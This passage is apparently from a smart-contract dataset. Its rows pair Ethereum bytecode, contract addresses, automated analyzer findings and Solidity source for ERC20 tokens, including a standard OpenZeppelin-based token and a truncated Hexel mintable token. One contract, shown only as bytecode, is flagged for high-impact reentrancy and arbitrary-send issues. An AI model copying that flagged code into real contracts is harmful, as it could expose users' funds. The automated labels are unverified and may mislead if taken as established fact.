58888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212205d5e5f61aabbbcbe884ce5f45f1c9ad59c0fb526262cb2b7a0325b7bd4ee74a564736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,217 |
0x1ce9d94bd0af1d208fd9606e2af804413f3654c7
|
pragma solidity ^0.4.24;
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: node_modules/zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: node_modules/zeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: contracts/Smartcop.sol
contract Smartcop is DetailedERC20, StandardToken {
address public owner ;
constructor() public
DetailedERC20("Azilowon", "AWN", 18)
{
totalSupply_ = 1000000000 * (uint(10)**decimals);
balances[msg.sender] = totalSupply_;
owner = msg.sender;
}
}
|
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d157806366188463146101fc57806370a08231146102205780638da5cb5b1461024157806395d89b4114610272578063a9059cbb14610287578063d73dd623146102ab578063dd62ed3e146102cf575b600080fd5b3480156100ca57600080fd5b506100d36102f6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610384565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103ea565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103f0565b3480156101dd57600080fd5b506101e6610567565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b5061016c600160a060020a0360043516602435610570565b34801561022c57600080fd5b50610195600160a060020a036004351661065f565b34801561024d57600080fd5b5061025661067a565b60408051600160a060020a039092168252519081900360200190f35b34801561027e57600080fd5b506100d3610689565b34801561029357600080fd5b5061016c600160a060020a03600435166024356106e3565b3480156102b757600080fd5b5061016c600160a060020a03600435166024356107c4565b3480156102db57600080fd5b50610195600160a060020a036004358116906024351661085d565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561037c5780601f106103515761010080835404028352916020019161037c565b820191906000526020600020905b81548152906001019060200180831161035f57829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60045490565b600160a060020a03831660009081526003602052604081205482111561041557600080fd5b600160a060020a038416600090815260056020908152604080832033845290915290205482111561044557600080fd5b600160a060020a038316151561045a57600080fd5b600160a060020a038416600090815260036020526040902054610483908363ffffffff61088816565b600160a060020a0380861660009081526003602052604080822093909355908516815220546104b8908363ffffffff61089a16565b600160a060020a0380851660009081526003602090815260408083209490945591871681526005825282812033825290915220546104fc908363ffffffff61088816565b600160a060020a03808616600081815260056020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60025460ff1681565b336000908152600560209081526040808320600160a060020a03861684529091528120548083106105c457336000908152600560209081526040808320600160a060020a03881684529091528120556105f9565b6105d4818463ffffffff61088816565b336000908152600560209081526040808320600160a060020a03891684529091529020555b336000818152600560209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526003602052604090205490565b600654600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561037c5780601f106103515761010080835404028352916020019161037c565b336000908152600360205260408120548211156106ff57600080fd5b600160a060020a038316151561071457600080fd5b33600090815260036020526040902054610734908363ffffffff61088816565b3360009081526003602052604080822092909255600160a060020a03851681522054610766908363ffffffff61089a16565b600160a060020a0384166000818152600360209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600560209081526040808320600160a060020a03861684529091528120546107f8908363ffffffff61089a16565b336000818152600560209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60008282111561089457fe5b50900390565b818101828110156108a757fe5b929150505600a165627a7a72305820e177cf233b5f7d568b463223d49c775eaaf0a2522e123c84d95e296dfe172cf50029
|
{"success": true, "error": null, "results": {}}
| 9,218 |
0xb313c71b20ce054c6224d403387ac2536c0b954e
|
pragma solidity ^0.4.19;
// Made with Hexel at www.onhexel.com
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract HexelErc20Token is MintableToken {
/*
* Token meta data
*/
string public name;
string public symbol;
